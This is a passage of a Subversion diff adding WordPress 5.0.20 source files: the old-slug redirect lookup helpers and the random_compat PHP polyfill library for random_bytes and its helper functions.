+		$id = _find_post_by_old_slug( $post_type );
+
+		if ( ! $id ) {
+			$id = _find_post_by_old_date( $post_type );
+		}
+
+		/**
+		 * Filters the old slug redirect post ID.
+		 *
+		 * @since 4.9.3
+		 *
+		 * @param int $id The redirect post ID.
+		 */
+		$id = apply_filters( 'old_slug_redirect_post_id', $id );
+
+		if ( ! $id ) {
+			return;
+		}
+
+		$link = get_permalink( $id );
+
+		if ( get_query_var( 'paged' ) > 1 ) {
+			$link = user_trailingslashit( trailingslashit( $link ) . 'page/' . get_query_var( 'paged' ) );
+		} elseif( is_embed() ) {
+			$link = user_trailingslashit( trailingslashit( $link ) . 'embed' );
+		}
+
+		/**
+		 * Filters the old slug redirect URL.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param string $link The redirect URL.
+		 */
+		$link = apply_filters( 'old_slug_redirect_url', $link );
+
+		if ( ! $link ) {
+			return;
+		}
+
+		wp_redirect( $link, 301 ); // Permanent redirect
+		exit;
+	}
+}
+
+/**
+ * Find the post ID for redirecting an old slug.
+ *
+ * @see wp_old_slug_redirect()
+ *
+ * @since 4.9.3
+ * @access private
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $post_type The current post type based on the query vars.
+ * @return int $id The Post ID.
+ */
+function _find_post_by_old_slug( $post_type ) {
+	global $wpdb;
+
+	$query = $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND post_type = %s AND meta_key = '_wp_old_slug' AND meta_value = %s", $post_type, get_query_var( 'name' ) );
+
+	// if year, monthnum, or day have been specified, make our query more precise
+	// just in case there are multiple identical _wp_old_slug values
+	if ( get_query_var( 'year' ) ) {
+		$query .= $wpdb->prepare( " AND YEAR(post_date) = %d", get_query_var( 'year' ) );
+	}
+	if ( get_query_var( 'monthnum' ) ) {
+		$query .= $wpdb->prepare( " AND MONTH(post_date) = %d", get_query_var( 'monthnum' ) );
+	}
+	if ( get_query_var( 'day' ) ) {
+		$query .= $wpdb->prepare( " AND DAYOFMONTH(post_date) = %d", get_query_var( 'day' ) );
+	}
+
+	$id = (int) $wpdb->get_var( $query );
+
+	return $id;
+}
+
+/**
+ * Find the post ID for redirecting an old date.
+ *
+ * @see wp_old_slug_redirect()
+ *
+ * @since 4.9.3
+ * @access private
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $post_type The current post type based on the query vars.
+ * @return int $id The Post ID.
+ */
+function _find_post_by_old_date( $post_type ) {
+	global $wpdb;
+
+	$date_query = '';
+	if ( get_query_var( 'year' ) ) {
+		$date_query .= $wpdb->prepare( " AND YEAR(pm_date.meta_value) = %d", get_query_var( 'year' ) );
+	}
+	if ( get_query_var( 'monthnum' ) ) {
+		$date_query .= $wpdb->prepare( " AND MONTH(pm_date.meta_value) = %d", get_query_var( 'monthnum' ) );
+	}
+	if ( get_query_var( 'day' ) ) {
+		$date_query .= $wpdb->prepare( " AND DAYOFMONTH(pm_date.meta_value) = %d", get_query_var( 'day' ) );
+	}
+
+	$id = 0;
+	if ( $date_query ) {
+		$id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta AS pm_date, $wpdb->posts WHERE ID = post_id AND post_type = %s AND meta_key = '_wp_old_date' AND post_name = %s" . $date_query, $post_type, get_query_var( 'name' ) ) );
+
+		if ( ! $id ) {
+			// Check to see if an old slug matches the old date
+			$id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts, $wpdb->postmeta AS pm_slug, $wpdb->postmeta AS pm_date WHERE ID = pm_slug.post_id AND ID = pm_date.post_id AND post_type = %s AND pm_slug.meta_key = '_wp_old_slug' AND pm_slug.meta_value = %s AND pm_date.meta_key = '_wp_old_date'" . $date_query, $post_type, get_query_var( 'name' ) ) );
+		}
+	}
+
+	return $id;
+}
+
+/**
+ * Set up global post data.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 Added the ability to pass a post ID to `$post`.
+ *
+ * @global WP_Query $wp_query Global WP_Query instance.
+ *
+ * @param WP_Post|object|int $post WP_Post instance or Post ID/object.
+ * @return bool True when finished.
+ */
+function setup_postdata( $post ) {
+	global $wp_query;
+
+	if ( ! empty( $wp_query ) && $wp_query instanceof WP_Query ) {
+		return $wp_query->setup_postdata( $post );
+	}
+
+	return false;
+}
Index: /tags/5.0.20/src/wp-includes/random_compat/byte_safe_strings.php
===================================================================
--- /tags/5.0.20/src/wp-includes/random_compat/byte_safe_strings.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/random_compat/byte_safe_strings.php	(revision 56912)
@@ -0,0 +1,173 @@
+<?php
+/**
+ * Random_* Compatibility Library
+ * for using the new PHP 7 random_* API in PHP 5 projects
+ *
+ * The MIT License (MIT)
+ *
+ * Copyright (c) 2015 Paragon Initiative Enterprises
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+if (!function_exists('RandomCompat_strlen')) {
+    if (
+        defined('MB_OVERLOAD_STRING') &&
+        ini_get('mbstring.func_overload') & MB_OVERLOAD_STRING
+    ) {
+        /**
+         * strlen() implementation that isn't brittle to mbstring.func_overload
+         *
+         * This version uses mb_strlen() in '8bit' mode to treat strings as raw
+         * binary rather than UTF-8, ISO-8859-1, etc
+         *
+         * @param string $binary_string
+         *
+         * @throws TypeError
+         *
+         * @return int
+         */
+        function RandomCompat_strlen($binary_string)
+        {
+            if (!is_string($binary_string)) {
+                throw new TypeError(
+                    'RandomCompat_strlen() expects a string'
+                );
+            }
+
+            return mb_strlen($binary_string, '8bit');
+        }
+
+    } else {
+        /**
+         * strlen() implementation that isn't brittle to mbstring.func_overload
+         *
+         * This version just used the default strlen()
+         *
+         * @param string $binary_string
+         *
+         * @throws TypeError
+         *
+         * @return int
+         */
+        function RandomCompat_strlen($binary_string)
+        {
+            if (!is_string($binary_string)) {
+                throw new TypeError(
+                    'RandomCompat_strlen() expects a string'
+                );
+            }
+            return strlen($binary_string);
+        }
+    }
+}
+
+if (!function_exists('RandomCompat_substr')) {
+
+    if (
+        defined('MB_OVERLOAD_STRING')
+        &&
+        ini_get('mbstring.func_overload') & MB_OVERLOAD_STRING
+    ) {
+        /**
+         * substr() implementation that isn't brittle to mbstring.func_overload
+         *
+         * This version uses mb_substr() in '8bit' mode to treat strings as raw
+         * binary rather than UTF-8, ISO-8859-1, etc
+         *
+         * @param string $binary_string
+         * @param int $start
+         * @param int $length (optional)
+         *
+         * @throws TypeError
+         *
+         * @return string
+         */
+        function RandomCompat_substr($binary_string, $start, $length = null)
+        {
+            if (!is_string($binary_string)) {
+                throw new TypeError(
+                    'RandomCompat_substr(): First argument should be a string'
+                );
+            }
+
+            if (!is_int($start)) {
+                throw new TypeError(
+                    'RandomCompat_substr(): Second argument should be an integer'
+                );
+            }
+
+            if ($length === null) {
+                /**
+                 * mb_substr($str, 0, NULL, '8bit') returns an empty string on
+                 * PHP 5.3, so we have to find the length ourselves.
+                 */
+                $length = RandomCompat_strlen($length) - $start;
+            } elseif (!is_int($length)) {
+                throw new TypeError(
+                    'RandomCompat_substr(): Third argument should be an integer, or omitted'
+                );
+            }
+
+            return mb_substr($binary_string, $start, $length, '8bit');
+        }
+
+    } else {
+
+        /**
+         * substr() implementation that isn't brittle to mbstring.func_overload
+         *
+         * This version just uses the default substr()
+         *
+         * @param string $binary_string
+         * @param int $start
+         * @param int $length (optional)
+         *
+         * @throws TypeError
+         *
+         * @return string
+         */
+        function RandomCompat_substr($binary_string, $start, $length = null)
+        {
+            if (!is_string($binary_string)) {
+                throw new TypeError(
+                    'RandomCompat_substr(): First argument should be a string'
+                );
+            }
+
+            if (!is_int($start)) {
+                throw new TypeError(
+                    'RandomCompat_substr(): Second argument should be an integer'
+                );
+            }
+
+            if ($length !== null) {
+                if (!is_int($length)) {
+                    throw new TypeError(
+                        'RandomCompat_substr(): Third argument should be an integer, or omitted'
+                    );
+                }
+
+                return substr($binary_string, $start, $length);
+            }
+
+            return substr($binary_string, $start);
+        }
+    }
+}
Index: /tags/5.0.20/src/wp-includes/random_compat/cast_to_int.php
===================================================================
--- /tags/5.0.20/src/wp-includes/random_compat/cast_to_int.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/random_compat/cast_to_int.php	(revision 56912)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * Random_* Compatibility Library
+ * for using the new PHP 7 random_* API in PHP 5 projects
+ *
+ * The MIT License (MIT)
+ *
+ * Copyright (c) 2015 Paragon Initiative Enterprises
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+if (!function_exists('RandomCompat_intval')) {
+    
+    /**
+     * Cast to an integer if we can, safely.
+     * 
+     * If you pass it a float in the range (~PHP_INT_MAX, PHP_INT_MAX)
+     * (non-inclusive), it will sanely cast it to an int. If you it's equal to
+     * ~PHP_INT_MAX or PHP_INT_MAX, we let it fail as not an integer. Floats 
+     * lose precision, so the <= and => operators might accidentally let a float
+     * through.
+     * 
+     * @param int|float $number    The number we want to convert to an int
+     * @param boolean   $fail_open Set to true to not throw an exception
+     * 
+     * @return int (or float if $fail_open)
+     *
+     * @throws TypeError
+     */
+    function RandomCompat_intval($number, $fail_open = false)
+    {
+        if (is_numeric($number)) {
+            $number += 0;
+        }
+
+        if (
+            is_float($number)
+            &&
+            $number > ~PHP_INT_MAX
+            &&
+            $number < PHP_INT_MAX
+        ) {
+            $number = (int) $number;
+        }
+
+        if (is_int($number) || $fail_open) {
+            return $number;
+        }
+
+        throw new TypeError(
+            'Expected an integer.'
+        );
+    }
+}
Index: /tags/5.0.20/src/wp-includes/random_compat/error_polyfill.php
===================================================================
--- /tags/5.0.20/src/wp-includes/random_compat/error_polyfill.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/random_compat/error_polyfill.php	(revision 56912)
@@ -0,0 +1,42 @@
+<?php
+/**
+ * Random_* Compatibility Library 
+ * for using the new PHP 7 random_* API in PHP 5 projects
+ * 
+ * The MIT License (MIT)
+ * 
+ * Copyright (c) 2015 Paragon Initiative Enterprises
+ * 
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+if (!class_exists('Error', false)) {
+    // We can't really avoid making this extend Exception in PHP 5.
+    class Error extends Exception
+    {
+        
+    }
+}
+
+if (!class_exists('TypeError', false)) {
+    class TypeError extends Error
+    {
+        
+    }
+}
Index: /tags/5.0.20/src/wp-includes/random_compat/random.php
===================================================================
--- /tags/5.0.20/src/wp-includes/random_compat/random.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/random_compat/random.php	(revision 56912)
@@ -0,0 +1,217 @@
+<?php
+/**
+ * Random_* Compatibility Library
+ * for using the new PHP 7 random_* API in PHP 5 projects
+ *
+ * @version 1.2.1
+ * @released 2016-02-29
+ *
+ * The MIT License (MIT)
+ *
+ * Copyright (c) 2015 Paragon Initiative Enterprises
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+if (!defined('PHP_VERSION_ID')) {
+    // This constant was introduced in PHP 5.2.7
+    $RandomCompatversion = explode('.', PHP_VERSION);
+    define(
+        'PHP_VERSION_ID',
+        $RandomCompatversion[0] * 10000
+        + $RandomCompatversion[1] * 100
+        + $RandomCompatversion[2]
+    );
+    $RandomCompatversion = null;
+}
+
+if (PHP_VERSION_ID < 70000) {
+
+    if (!defined('RANDOM_COMPAT_READ_BUFFER')) {
+        define('RANDOM_COMPAT_READ_BUFFER', 8);
+    }
+
+    $RandomCompatDIR = dirname(__FILE__);
+
+    require_once $RandomCompatDIR.'/byte_safe_strings.php';
+    require_once $RandomCompatDIR.'/cast_to_int.php';
+    require_once $RandomCompatDIR.'/error_polyfill.php';
+
+    if (!function_exists('random_bytes')) {
+        /**
+         * PHP 5.2.0 - 5.6.x way to implement random_bytes()
+         *
+         * We use conditional statements here to define the function in accordance
+         * to the operating environment. It's a micro-optimization.
+         *
+         * In order of preference:
+         *   1. Use libsodium if available.
+         *   2. fread() /dev/urandom if available (never on Windows)
+         *   3. mcrypt_create_iv($bytes, MCRYPT_DEV_URANDOM)
+         *   4. COM('CAPICOM.Utilities.1')->GetRandom()
+         *   5. openssl_random_pseudo_bytes() (absolute last resort)
+         *
+         * See ERRATA.md for our reasoning behind this particular order
+         */
+        if (extension_loaded('libsodium')) {
+            // See random_bytes_libsodium.php
+            if (PHP_VERSION_ID >= 50300 && function_exists('\\Sodium\\randombytes_buf')) {
+                require_once $RandomCompatDIR.'/random_bytes_libsodium.php';
+            } elseif (method_exists('Sodium', 'randombytes_buf')) {
+                require_once $RandomCompatDIR.'/random_bytes_libsodium_legacy.php';
+            }
+        }
+
+        /**
+         * Reading directly from /dev/urandom:
+         */
+        if (DIRECTORY_SEPARATOR === '/') {
+            // DIRECTORY_SEPARATOR === '/' on Unix-like OSes -- this is a fast
+            // way to exclude Windows.
+            $RandomCompatUrandom = true;
+            $RandomCompat_basedir = ini_get('open_basedir');
+
+            if (!empty($RandomCompat_basedir)) {
+                $RandomCompat_open_basedir = explode(
+                    PATH_SEPARATOR,
+                    strtolower($RandomCompat_basedir)
+                );
+                $RandomCompatUrandom = in_array(
+                    '/dev',
+                    $RandomCompat_open_basedir
+                );
+                $RandomCompat_open_basedir = null;
+            }
+
+            if (
+                !function_exists('random_bytes')
+                &&
+                $RandomCompatUrandom
+                &&
+                @is_readable('/dev/urandom')
+            ) {
+                // Error suppression on is_readable() in case of an open_basedir
+                // or safe_mode failure. All we care about is whether or not we
+                // can read it at this point. If the PHP environment is going to
+                // panic over trying to see if the file can be read in the first
+                // place, that is not helpful to us here.
+
+                // See random_bytes_dev_urandom.php
+                require_once $RandomCompatDIR.'/random_bytes_dev_urandom.php';
+            }
+            // Unset variables after use
+            $RandomCompat_basedir = null;
+            $RandomCompatUrandom = null;
+        }
+
+        /**
+         * mcrypt_create_iv()
+         */
+        if (
+            !function_exists('random_bytes')
+            &&
+            PHP_VERSION_ID >= 50307
+            &&
+            extension_loaded('mcrypt')
+        ) {
+            // Prevent this code from hanging indefinitely on non-Windows;
+            // see https://bugs.php.net/bug.php?id=69833
+            if (
+                DIRECTORY_SEPARATOR !== '/' ||
+                (PHP_VERSION_ID <= 50609 || PHP_VERSION_ID >= 50613)
+            ) {
+                // See random_bytes_mcrypt.php
+                require_once $RandomCompatDIR.'/random_bytes_mcrypt.php';
+            }
+        }
+
+        if (
+            !function_exists('random_bytes')
+            &&
+            extension_loaded('com_dotnet')
+            &&
+            class_exists('COM')
+        ) {
+            $RandomCompat_disabled_classes = preg_split(
+                '#\s*,\s*#',
+                strtolower(ini_get('disable_classes'))
+            );
+
+            if (!in_array('com', $RandomCompat_disabled_classes)) {
+                try {
+                    $RandomCompatCOMtest = new COM('CAPICOM.Utilities.1');
+                    if (method_exists($RandomCompatCOMtest, 'GetRandom')) {
+                        // See random_bytes_com_dotnet.php
+                        require_once $RandomCompatDIR.'/random_bytes_com_dotnet.php';
+                    }
+                } catch (com_exception $e) {
+                    // Don't try to use it.
+                }
+            }
+            $RandomCompat_disabled_classes = null;
+            $RandomCompatCOMtest = null;
+        }
+
+        /**
+         * openssl_random_pseudo_bytes()
+         */
+        if (
+            (
+                // Unix-like with PHP >= 5.3.0 or
+                (
+                    DIRECTORY_SEPARATOR === '/'
+                    &&
+                    PHP_VERSION_ID >= 50300
+                )
+                ||
+                // Windows with PHP >= 5.4.1
+                PHP_VERSION_ID >= 50401
+            )
+            &&
+            !function_exists('random_bytes')
+            &&
+            extension_loaded('openssl')
+        ) {
+            // See random_bytes_openssl.php
+            require_once $RandomCompatDIR.'/random_bytes_openssl.php';
+        }
+
+        /**
+         * throw new Exception
+         */
+        if (!function_exists('random_bytes')) {
+            /**
+             * We don't have any more options, so let's throw an exception right now
+             * and hope the developer won't let it fail silently.
+             */
+            function random_bytes($length)
+            {
+                throw new Exception(
+                    'There is no suitable CSPRNG installed on your system'
+                );
+            }
+        }
+    }
+
+    if (!function_exists('random_int')) {
+        require_once $RandomCompatDIR.'/random_int.php';
+    }
+
+    $RandomCompatDIR = null;
+}
Index: /tags/5.0.20/src/wp-includes/random_compat/random_bytes_com_dotnet.php
===================================================================
--- /tags/5.0.20/src/wp-includes/random_compat/random_bytes_com_dotnet.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/random_compat/random_bytes_com_dotnet.php	(revision 56912)
@@ -0,0 +1,83 @@
+<?php
+/**
+ * Random_* Compatibility Library 
+ * for using the new PHP 7 random_* API in PHP 5 projects
+ * 
+ * The MIT License (MIT)
+ * 
+ * Copyright (c) 2015 Paragon Initiative Enterprises
+ * 
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+if ( ! is_callable( 'random_bytes' ) ):
+/**
+ * Windows with PHP < 5.3.0 will not have the function
+ * openssl_random_pseudo_bytes() available, so let's use
+ * CAPICOM to work around this deficiency.
+ * 
+ * @param int $bytes
+ * 
+ * @throws Exception
+ * 
+ * @return string
+ */
+function random_bytes($bytes)
+{
+    try {
+        $bytes = RandomCompat_intval($bytes);
+    } catch (TypeError $ex) {
+        throw new TypeError(
+            'random_bytes(): $bytes must be an integer'
+        );
+    }
+
+    if ($bytes < 1) {
+        throw new Error(
+            'Length must be greater than 0'
+        );
+    }
+
+    $buf = '';
+    $util = new COM('CAPICOM.Utilities.1');
+    $execCount = 0;
+
+    /**
+     * Let's not let it loop forever. If we run N times and fail to
+     * get N bytes of random data, then CAPICOM has failed us.
+     */
+    do {
+        $buf .= base64_decode($util->GetRandom($bytes, 0));
+        if (RandomCompat_strlen($buf) >= $bytes) {
+            /**
+             * Return our random entropy buffer here:
+             */
+            return RandomCompat_substr($buf, 0, $bytes);
+        }
+        ++$execCount; 
+    } while ($execCount < $bytes);
+
+    /**
+     * If we reach here, PHP has failed us.
+     */
+    throw new Exception(
+        'Could not gather sufficient random data'
+    );
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/random_compat/random_bytes_dev_urandom.php
===================================================================
--- /tags/5.0.20/src/wp-includes/random_compat/random_bytes_dev_urandom.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/random_compat/random_bytes_dev_urandom.php	(revision 56912)
@@ -0,0 +1,150 @@
+<?php
+/**
+ * Random_* Compatibility Library 
+ * for using the new PHP 7 random_* API in PHP 5 projects
+ * 
+ * The MIT License (MIT)
+ * 
+ * Copyright (c) 2015 Paragon Initiative Enterprises
+ * 
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+if (!defined('RANDOM_COMPAT_READ_BUFFER')) {
+    define('RANDOM_COMPAT_READ_BUFFER', 8);
+}
+
+if ( ! is_callable( 'random_bytes' ) ):
+/**
+ * Unless open_basedir is enabled, use /dev/urandom for
+ * random numbers in accordance with best practices
+ * 
+ * Why we use /dev/urandom and not /dev/random
+ * @ref http://sockpuppet.org/blog/2014/02/25/safely-generate-random-numbers
+ * 
+ * @param int $bytes
+ * 
+ * @throws Exception
+ * 
+ * @return string
+ */
+function random_bytes($bytes)
+{
+    static $fp = null;
+    /**
+     * This block should only be run once
+     */
+    if (empty($fp)) {
+        /**
+         * We use /dev/urandom if it is a char device.
+         * We never fall back to /dev/random
+         */
+        $fp = fopen('/dev/urandom', 'rb');
+        if (!empty($fp)) {
+            $st = fstat($fp);
+            if (($st['mode'] & 0170000) !== 020000) {
+                fclose($fp);
+                $fp = false;
+            }
+        }
+
+        if (!empty($fp)) {
+            /**
+             * stream_set_read_buffer() does not exist in HHVM
+             * 
+             * If we don't set the stream's read buffer to 0, PHP will
+             * internally buffer 8192 bytes, which can waste entropy
+             * 
+             * stream_set_read_buffer returns 0 on success
+             */
+            if (function_exists('stream_set_read_buffer')) {
+                stream_set_read_buffer($fp, RANDOM_COMPAT_READ_BUFFER);
+            }
+            if (function_exists('stream_set_chunk_size')) {
+                stream_set_chunk_size($fp, RANDOM_COMPAT_READ_BUFFER);
+            }
+        }
+    }
+
+    try {
+        $bytes = RandomCompat_intval($bytes);
+    } catch (TypeError $ex) {
+        throw new TypeError(
+            'random_bytes(): $bytes must be an integer'
+        );
+    }
+
+    if ($bytes < 1) {
+        throw new Error(
+            'Length must be greater than 0'
+        );
+    }
+
+    /**
+     * This if() block only runs if we managed to open a file handle
+     * 
+     * It does not belong in an else {} block, because the above 
+     * if (empty($fp)) line is logic that should only be run once per
+     * page load.
+     */
+    if (!empty($fp)) {
+        $remaining = $bytes;
+        $buf = '';
+
+        /**
+         * We use fread() in a loop to protect against partial reads
+         */
+        do {
+            $read = fread($fp, $remaining); 
+            if ($read === false) {
+                /**
+                 * We cannot safely read from the file. Exit the
+                 * do-while loop and trigger the exception condition
+                 */
+                $buf = false;
+                break;
+            }
+            /**
+             * Decrease the number of bytes returned from remaining
+             */
+            $remaining -= RandomCompat_strlen($read);
+            $buf .= $read;
+        } while ($remaining > 0);
+        
+        /**
+         * Is our result valid?
+         */
+        if ($buf !== false) {
+            if (RandomCompat_strlen($buf) === $bytes) {
+                /**
+                 * Return our random entropy buffer here:
+                 */
+                return $buf;
+            }
+        }
+    }
+
+    /**
+     * If we reach here, PHP has failed us.
+     */
+    throw new Exception(
+        'Error reading from source device'
+    );
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/random_compat/random_bytes_libsodium.php
===================================================================
--- /tags/5.0.20/src/wp-includes/random_compat/random_bytes_libsodium.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/random_compat/random_bytes_libsodium.php	(revision 56912)
@@ -0,0 +1,88 @@
+<?php
+/**
+ * Random_* Compatibility Library 
+ * for using the new PHP 7 random_* API in PHP 5 projects
+ * 
+ * The MIT License (MIT)
+ * 
+ * Copyright (c) 2015 Paragon Initiative Enterprises
+ * 
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+if ( ! is_callable( 'random_bytes' ) ):
+/**
+ * If the libsodium PHP extension is loaded, we'll use it above any other
+ * solution.
+ *
+ * libsodium-php project:
+ * @ref https://github.com/jedisct1/libsodium-php
+ *
+ * @param int $bytes
+ *
+ * @throws Exception
+ *
+ * @return string
+ */
+function random_bytes($bytes)
+{
+    try {
+        $bytes = RandomCompat_intval($bytes);
+    } catch (TypeError $ex) {
+        throw new TypeError(
+            'random_bytes(): $bytes must be an integer'
+        );
+    }
+
+    if ($bytes < 1) {
+        throw new Error(
+            'Length must be greater than 0'
+        );
+    }
+
+    /**
+     * \Sodium\randombytes_buf() doesn't allow more than 2147483647 bytes to be
+     * generated in one invocation.
+     */
+    if ($bytes > 2147483647) {
+        $buf = '';
+        for ($i = 0; $i < $bytes; $i += 1073741824) {
+            $n = ($bytes - $i) > 1073741824
+                ? 1073741824
+                : $bytes - $i;
